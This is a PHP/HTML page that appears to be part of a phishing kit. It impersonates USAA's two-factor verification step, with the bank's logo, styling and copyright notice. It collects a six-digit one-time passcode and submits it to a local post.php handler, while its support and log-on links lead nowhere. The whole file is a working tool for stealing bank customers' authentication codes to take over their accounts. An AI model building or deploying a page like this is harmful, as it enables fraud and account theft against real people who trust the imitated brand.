<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Serif+4:wght@300;400;600&family=Source+Sans+3:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>USAA — Verification</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --navy:         #12395b;
            --navy-deep:    #0d2b45;
            --navy-light:   #e8eff6;
            --gold:         #c8972a;
            --text:         #1a1a1a;
            --text-sub:     #3a4a5a;
            --text-muted:   #6b7b8b;
            --border:       #c0cdd8;
            --border-focus: #12395b;
            --bg:           #f4f7fa;
            --white:        #ffffff;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: var(--bg); color: var(--text); }
        .page { min-height: 100vh; display: grid; grid-template-rows: auto 1fr auto; }

        .top-nav { background: var(--navy); padding: 0 48px; display: flex; align-items: center; justify-content: space-between; height: 68px; z-index: 10; box-shadow: 0 2px 8px rgba(0,0,0,0.2); }
        .nav-logo img { height: 38px; width: auto; display: block; }
        .nav-actions { display: flex; align-items: center; gap: 4px; }
        .nav-action { display: flex; align-items: center; gap: 7px; padding: 8px 16px; border-radius: 6px; color: #fff; text-decoration: none; font-size: 14px; font-weight: 500; transition: background 0.15s; cursor: pointer; }
        .nav-action:hover { background: rgba(255,255,255,0.12); }
        .nav-action img { width: 18px; height: 18px; opacity: 0.9; filter: brightness(0) invert(1); }
        .nav-divider { width: 1px; height: 22px; background: rgba(255,255,255,0.2); margin: 0 4px; }
        .nav-action.logon { background: #fff; color: var(--navy); font-weight: 600; margin-left: 8px; }
        .nav-action.logon:hover { background: #e8eff6; }
        .nav-action.logon img { filter: none; opacity: 1; }

        .main { display: grid; grid-template-columns: 1fr 440px 1fr; align-items: start; padding: 48px 24px 64px; background: var(--bg); }

        .side-panel { grid-column: 1; padding: 0 48px 0 max(48px, calc((100% - 1100px) / 2)); padding-top: 8px; max-width: 480px; margin-left: auto; }
        .side-title { font-family: 'Source Serif 4', serif; font-size: 26px; font-weight: 300; line-height: 1.4; color: var(--navy); margin-bottom: 24px; }
        .side-title strong { font-weight: 600; display: block; }

        .phone-mockup { width: 88px; height: 158px; border-radius: 18px; background: linear-gradient(160deg, var(--navy) 0%, var(--navy-deep) 100%); border: 1.5px solid rgba(200,151,42,0.15); position: relative; display: flex; flex-direction: column; align-items: center; padding: 13px 9px 11px; box-shadow: 0 16px 40px rgba(18,57,91,0.25), 0 2px 8px rgba(0,0,0,0.1); margin-bottom: 32px; }
        .phone-notch { width: 28px; height: 5px; border-radius: 3px; background: rgba(255,255,255,0.1); margin-bottom: 11px; flex-shrink: 0; }
        .phone-screen { flex: 1; width: 100%; background: rgba(0,0,0,0.2); border-radius: 7px; display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 5px; padding: 7px; }
        .phone-line { height: 4px; border-radius: 2px; background: rgba(255,255,255,0.1); }
        .phone-code-box { width: 100%; background: rgba(200,151,42,0.35); border: 1px solid rgba(200,151,42,0.3); border-radius: 5px; padding: 5px; text-align: center; font-size: 8px; font-weight: 600; letter-spacing: 0.18em; color: rgba(255,255,255,0.9); margin-top: 4px; }
        .phone-stripe { position: absolute; bottom: 0; left: 0; right: 0; height: 3px; border-radius: 0 0 18px 18px; background: var(--gold); opacity: 0.8; }
        .pulse-wrap { position: absolute; top: -11px; right: -11px; width: 26px; height: 26px; }
        .pulse-dot { position: absolute; inset: 8px; border-radius: 50%; background: var(--navy); opacity: 0.9; }
        .pulse-ring { position: absolute; inset: 0; border-radius: 50%; border: 2px solid var(--navy); animation: pulse 2s ease-out infinite; }
        @keyframes pulse { 0% { transform: scale(1); opacity: 0.7; } 100% { transform: scale(2.4); opacity: 0; } }

        .security-badge { display: flex; align-items: center; gap: 10px; padding: 14px 16px; background: var(--white); border: 1px solid var(--border); border-left: 3px solid var(--gold); border-radius: 4px; }
        .security-badge p { font-size: 12px; color: var(--text-muted); line-height: 1.5; }
        .security-badge strong { display: block; font-size: 13px; color: var(--text); font-weight: 600; margin-bottom: 2px; }

        .login-wrap { grid-column: 2; }
        .login-card { background: var(--white); border: 1px solid var(--border); border-top: 4px solid var(--navy); border-radius: 3px; padding: 40px 44px 44px; box-shadow: 0 2px 12px rgba(18,57,91,0.08), 0 8px 32px rgba(0,0,0,0.04); animation: cardIn 0.4s ease both; }
        @keyframes cardIn { from { opacity: 0; transform: translateY(12px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 24px; }
        .card-logo img { height: 32px; width: auto; display: block; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 28px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done   { background: var(--navy-light); color: var(--navy); }
        .step.active { background: var(--navy); color: #fff; }
        .step.pending{ background: #eaf0f6; color: #90a0b0; }
        .step-line      { flex: 1; height: 1px; background: var(--border); }
        .step-line.done { background: var(--navy); opacity: 0.3; }

        .card-header { margin-bottom: 24px; padding-bottom: 20px; border-bottom: 1px solid #eaf0f6; }
        .card-header h1 { font-family: 'Source Serif 4', serif; font-size: 22px; font-weight: 600; color: var(--navy); margin-bottom: 6px; letter-spacing: -0.01em; }
        .card-header p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; }

        .error-msg { display: flex; align-items: center; gap: 8px; color: #7a1c1c; font-size: 13px; margin-bottom: 16px; padding: 10px 13px; background: #fdf0f0; border: 1px solid #f5c0c0; border-radius: 3px; }

        .otp-wrapper { display: flex; gap: 9px; margin-bottom: 8px; }
        .otp-wrapper input[type="text"] { width: 100%; height: 54px; text-align: center; font-family: 'Source Sans 3', sans-serif; font-size: 20px; font-weight: 600; color: var(--text); border: 1px solid var(--border); border-radius: 3px; background: #fff; outline: none; transition: border-color 0.15s, box-shadow 0.15s, background 0.15s; -webkit-appearance: none; caret-color: var(--navy); }
        .otp-wrapper input[type="text"]:focus { border-color: var(--border-focus); box-shadow: 0 0 0 3px rgba(18,57,91,0.1); }
        .otp-wrapper input[type="text"].filled { border-color: rgba(18,57,91,0.45); background: var(--navy-light); }
        input[name="otp"] { display: none; }

        .btn-main { width: 100%; height: 46px; background: var(--navy); color: #fff; border: none; border-radius: 3px; font-family: 'Source Sans 3', sans-serif; font-size: 15px; font-weight: 600; cursor: pointer; letter-spacing: 0.02em; display: flex; align-items: center; justify-content: center; gap: 8px; transition: background 0.15s, box-shadow 0.15s; margin-top: 20px; margin-bottom: 20px; }
        .btn-main:hover { background: var(--navy-deep); box-shadow: 0 3px 14px rgba(18,57,91,0.3); }

        .resend-row { text-align: center; font-size: 13px; color: var(--text-muted); margin-bottom: 20px; }
        .resend-row a { color: var(--navy); text-decoration: none; font-weight: 500; margin-left: 4px; transition: opacity 0.12s; }
        .resend-row a:hover { opacity: 0.7; text-decoration: underline; }

        .card-divider { height: 1px; background: #eaf0f6; margin-bottom: 18px; }
        .card-links { display: flex; flex-direction: column; gap: 10px; }
        .card-links a { font-size: 13.5px; color: var(--navy); text-decoration: none; font-weight: 400; display: flex; align-items: center; gap: 4px; transition: opacity 0.12s; }
        .card-links a:hover { opacity: 0.7; text-decoration: underline; }

        .page-footer { background: var(--navy); padding: 20px 48px; display: flex; align-items: center; justify-content: space-between; gap: 24px; flex-wrap: wrap; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; transition: color 0.15s; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.35); }

        @media (max-width: 900px) { .main { grid-template-columns: 1fr; padding: 32px 20px 48px; } .side-panel { display: none; } .login-wrap { grid-column: 1; max-width: 460px; width: 100%; margin: 0 auto; } .top-nav { padding: 0 24px; } }
        @media (max-width: 500px) { .login-card { padding: 28px 24px 32px; } .otp-wrapper input[type="text"] { height: 48px; font-size: 18px; } .nav-action span { display: none; } }
    </style>
</head>
<body>
<div class="page">
    <nav class="top-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="USAA"></div>
        <div class="nav-actions">
            <a class="nav-action" href="#"><img src="res/img/magnifyingglassicon.svg" alt=""><span>Search</span></a>
            <div class="nav-divider"></div>
            <a class="nav-action" href="#"><img src="res/img/chatbubbleicon.svg" alt=""><span>Chat</span></a>
            <div class="nav-divider"></div>
            <a class="nav-action logon" href="#"><img src="res/img/personicon.svg" alt=""><span>Log On</span></a>
        </div>
    </nav>
    <main class="main">
        <aside class="side-panel">
            <h2 class="side-title">Check your phone<br><strong>for a code.</strong></h2>
            <div class="phone-mockup">
                <div class="pulse-wrap"><span class="pulse-dot"></span><span class="pulse-ring"></span></div>
                <div class="phone-notch"></div>
                <div class="phone-screen">
                    <div class="phone-line" style="width:80%"></div>
                    <div class="phone-line" style="width:60%"></div>
                    <div class="phone-code-box">• • • • • •</div>
                </div>
                <div class="phone-stripe"></div>
            </div>
            <div class="security-badge">
                <svg width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#12395b" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><polyline points="9 12 11 14 15 10" stroke-width="2"/></svg>
                <p><strong>Two-Factor Authentication</strong>A one-time passcode has been sent to your registered mobile number.</p>
            </div>
        </aside>
        <div class="login-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo2.png" alt="USAA"></div>
                <div class="step-indicator">
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step active">3</div>
                </div>
                <div class="card-header"><h1>Enter Your Code</h1><p>Enter the 6-digit verification code sent to your phone</p></div>
                <form action="post.php" method="post">
                    <?php if(isset($_GET['error'])): ?>
                    <div class="error-msg"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Invalid code. Please try again.</div>
                    <input type="hidden" name="exit">
                    <?php endif; ?>
                    <input type="text" name="otp" id="otp" required>
                    <div class="otp-wrapper">
                        <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*" autocomplete="one-time-code">
                        <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                        <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                        <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                        <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                        <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                    </div>
                    <button type="submit" class="btn-main">Verify &amp; Continue <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg></button>
                </form>
                <div class="resend-row">Didn't receive a code? <a href="#">Resend code</a></div>
                <div class="card-divider"></div>
                <div class="card-links">
                    <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
                    <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>Back to log on</a>
                </div>
            </div>
        </div>
    </main>
    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Service</a><a href="#">Accessibility</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 USAA. All rights reserved.</div>
    </footer>
</div>
<script>
    const digits = document.querySelectorAll('.digit');
    const otpInput = document.getElementById('otp');
    function syncOtp() { otpInput.value = [...digits].map(d => d.value).join(''); }
    digits.forEach((el, i) => {
        el.addEventListener('input', () => { el.value = el.value.replace(/\D/g, '').slice(-1); el.classList.toggle('filled', el.value !== ''); syncOtp(); if (el.value && i < digits.length - 1) digits[i + 1].focus(); });
        el.addEventListener('keydown', e => { if (e.key === 'Backspace' && !el.value && i > 0) { digits[i-1].value = ''; digits[i-1].classList.remove('filled'); digits[i-1].focus(); syncOtp(); } });
        el.addEventListener('paste', e => { e.preventDefault(); const p = (e.clipboardData || window.clipboardData).getData('text').replace(/\D/g, '').slice(0, digits.length); [...p].forEach((ch, j) => { if (digits[j]) { digits[j].value = ch; digits[j].classList.add('filled'); } }); syncOtp(); const nx = digits[Math.min(p.length, digits.length - 1)]; if (nx) nx.focus(); });
    });
</script>
</body>
</html>